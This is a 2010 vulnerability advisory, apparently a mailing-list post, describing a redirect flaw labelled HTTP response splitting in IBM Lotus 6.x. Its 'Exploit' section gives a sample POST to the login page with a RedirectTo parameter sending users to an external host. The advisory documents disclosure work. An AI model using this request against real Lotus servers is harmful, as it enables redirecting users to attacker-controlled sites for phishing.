=========================================

Yaniv Miron aka "Lament" Advisory March 12, 2010

IBM Lotus 6.x HTTP Response Splitting Vulnerability

=========================================

=====================

I. BACKGROUND

=====================

IBM Lotus Software delivers robust collaboration software that empowers

people to connect, collaborate, and innovate while optimizing the way they

work. With Lotus you can drive better business outcomes through

smarter collaboration.

http://www-01.ibm.com/software/lotus/

=====================

II. DESCRIPTION

=====================

A malicious attacker may redirect users from the IBM Lotus application.

=====================

III. ANALYSIS

=====================

Exploitation of this vulnerability results in the redirection of users using a malicious POST.

=====================

IV. EXPLOIT

=====================

POST /names.nsf?Login HTTP/1.1

Connection: Keep-Alive

%25%25ModDate=xxxxxxxxxxxxxxxx&Username=yyyy+zzzz&Password=aaaaaa&Redire
ctTo=http://www.RedirectExample.com&SaveOptions=0&...

=====================

V. DISCLOSURE TIMELINE

=====================

Jan 2009 Vulnerability found

Jan 2009 Vendor Notification

March 2010 Public Disclosure

=====================

VI. CREDIT

=====================

Yaniv Miron aka "Lament".

lament (at) ilhack (dot) org [email concealed]

[ reply ]